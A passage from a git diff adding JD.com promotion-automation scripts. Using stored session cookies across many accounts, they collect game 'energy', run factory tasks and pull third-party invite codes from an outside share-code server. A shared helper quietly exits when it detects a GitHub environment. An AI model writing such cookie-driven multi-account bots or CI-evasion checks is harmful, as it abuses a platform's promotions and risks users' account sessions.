+ } catch (e) { + console.log(e) + } finally { + resolve() + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}/client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({ + url: `https://api.jdsharecode.xyz/api/health/${randomCount}`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} health/read API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = []; + if ($.isNode()) { + if (process.env.JDHEALTH_SHARECODES) { + if (process.env.JDHEALTH_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDHEALTH_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDHEALTH_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_health_collect.js b/jd_health_collect.js new file mode 100644 index 0000000000..89f3b873c8 --- /dev/null +++ b/jd_health_collect.js @@ -0,0 +1,137 @@ +// author: 疯疯 +/* +东东健康社区收集能量收集能量(不做任务,任务脚本请使用jd_health.js) +更新时间:2021-4-23 +活动入口:京东APP首页搜索 "玩一玩"即可 + +已支持IOS多京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#东东健康社区收集能量 +5-45/20 * * * * jd_health_collect.js, tag=东东健康社区收集能量, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "5-45/20 * * * *" script-path=jd_health_collect.js, tag=东东健康社区收集能量 + +====================Surge================ +东东健康社区收集能量 = type=cron,cronexp="5-45/20 * * * *",wake-system=1,timeout=3600,script-path=jd_health_collect.js + +============小火箭========= +东东健康社区收集能量 = type=cron,script-path=jd_health_collect.js, cronexpr="5-45/20 * * * *", timeout=3600, enable=true + */ +const $ = new Env("东东健康社区收集能量收集"); +const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; +let cookiesArr = [], + cookie = "", + message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]); + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie), + ].filter((item) => !!item); +} +const JD_API_HOST = "https://api.m.jd.com/client.action"; +!(async () => { + if (!cookiesArr[0]) { + $.msg( + $.name, + "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", + "https://bean.m.jd.com/", + { "open-url": "https://bean.m.jd.com/" } + ); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + ); + $.index = i + 1; + message = ""; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + await collectScore(); + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }); + +function collectScore() { + return new Promise((resolve) => { + $.get(taskUrl("jdhealth_collectProduceScore", {}), (err, resp, data) => { + try { + if (safeGet(data)) { + data = $.toObj(data); + if (data?.data?.bizCode === 0) { + if (data?.data?.result?.produceScore) + console.log( + `任务完成成功,获得:${ + data?.data?.result?.produceScore ?? "未知" + }能量` + ); + else + console.log( + `任务领取结果:${data?.data?.bizMsg ?? JSON.stringify(data)}` + ); + } else { + console.log(`任务完成失败:${data?.data?.bizMsg ?? JSON.stringify(data)}`); + } + } + } catch (e) { + console.log(e); + } finally { + resolve(); + } + }); + }); +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}/client.action?functionId=${function_id}&body=${escape( + JSON.stringify(body) + )}&client=wh5&clientVersion=1.0.0`, + headers: { + Cookie: cookie, + origin: "https://h5.m.jd.com", + referer: "https://h5.m.jd.com/", + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : require("./USER_AGENTS").USER_AGENT + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + }; +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_jdfactory.js b/jd_jdfactory.js new file mode 100644 index 0000000000..c3e254667a --- /dev/null +++ b/jd_jdfactory.js @@ -0,0 +1,719 @@ +/* +Last Modified time: 2020-12-26 22:58:02 +东东工厂,不是京喜工厂 +活动入口:京东APP首页-数码电器-东东工厂 +免费产生的电量(10秒1个电量,500个电量满,5000秒到上限不生产,算起来是84分钟达到上限) +故建议1小时运行一次 +开会员任务和去京东首页点击“数码电器任务目前未做 +不会每次运行脚本都投入电力 +只有当心仪的商品存在,并且收集起来的电量满足当前商品所需电力,才投入 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#东东工厂 +10 * * * * jd_jdfactory.js, tag=东东工厂, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_factory.png, enabled=true + +================Loon============== +[Script] +cron "10 * * * *" script-path=jd_jdfactory.js,tag=东东工厂 + +===============Surge================= +东东工厂 = type=cron,cronexp="10 * * * *",wake-system=1,timeout=3600,script-path=jd_jdfactory.js + +============小火箭========= +东东工厂 = type=cron,script-path=jd_jdfactory.js, cronexpr="10 * * * *", timeout=3600, enable=true + */ +const $ = new Env('东东工厂'); + +console.log('\n====================Hello World====================\n') + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (process.env.JDFACTORY_FORBID_ACCOUNT) process.env.JDFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let wantProduct = ``;//心仪商品名称 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = ['']; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + message = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await shareCodesFormat(); + await jdFactory() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdFactory() { + try { + await jdfactory_getHomeData(); + await helpFriends(); + // $.newUser !==1 && $.haveProduct === 2,老用户但未选购商品 + // $.newUser === 1新用户 + if ($.newUser === 1) return + await jdfactory_collectElectricity();//收集产生的电量 + await jdfactory_getTaskDetail(); + await doTask(); + await algorithm();//投入电力逻辑 + await showMsg(); + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`${message}`); + } + if (new Date().getHours() === 12) { + $.msg($.name, '', `${message}`); + } + resolve() + }) +} +async function algorithm() { + // 当心仪的商品存在,并且收集起来的电量满足当前商品所需,就投入 + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.haveProduct = data.data.result.haveProduct; + $.userName = data.data.result.userName; + $.newUser = data.data.result.newUser; + wantProduct = $.isNode() ? (process.env.FACTORAY_WANTPRODUCT_NAME ? process.env.FACTORAY_WANTPRODUCT_NAME : wantProduct) : ($.getdata('FACTORAY_WANTPRODUCT_NAME') ? $.getdata('FACTORAY_WANTPRODUCT_NAME') : wantProduct); + if (data.data.result.factoryInfo) { + let { totalScore, useScore, produceScore, remainScore, couponCount, name } = data.data.result.factoryInfo + console.log(`\n已选商品:${name}`); + console.log(`当前已投入电量/所需电量:${useScore}/${totalScore}`); + console.log(`已选商品剩余量:${couponCount}`); + console.log(`当前总电量:${remainScore * 1 + useScore * 1}`); + console.log(`当前完成度:${((remainScore * 1 + useScore * 1)/(totalScore * 1)).toFixed(2) * 100}%\n`); + message += `京东账号${$.index} ${$.nickName}\n`; + message += `已选商品:${name}\n`; + message += `当前已投入电量/所需电量:${useScore}/${totalScore}\n`; + message += `已选商品剩余量:${couponCount}\n`; + message += `当前总电量:${remainScore * 1 + useScore * 1}\n`; + message += `当前完成度:${((remainScore * 1 + useScore * 1)/(totalScore * 1)).toFixed(2) * 100}%\n`; + if (wantProduct) { + console.log(`BoxJs或环境变量提供的心仪商品:${wantProduct}\n`); + await jdfactory_getProductList(true); + let wantProductSkuId = ''; + for (let item of $.canMakeList) { + if (item.name.indexOf(wantProduct) > - 1) { + totalScore = item['fullScore'] * 1; + couponCount = item.couponCount; + name = item.name; + } + if (item.name.indexOf(wantProduct) > - 1 && item.couponCount > 0) { + wantProductSkuId = item.skuId; + } + } + // 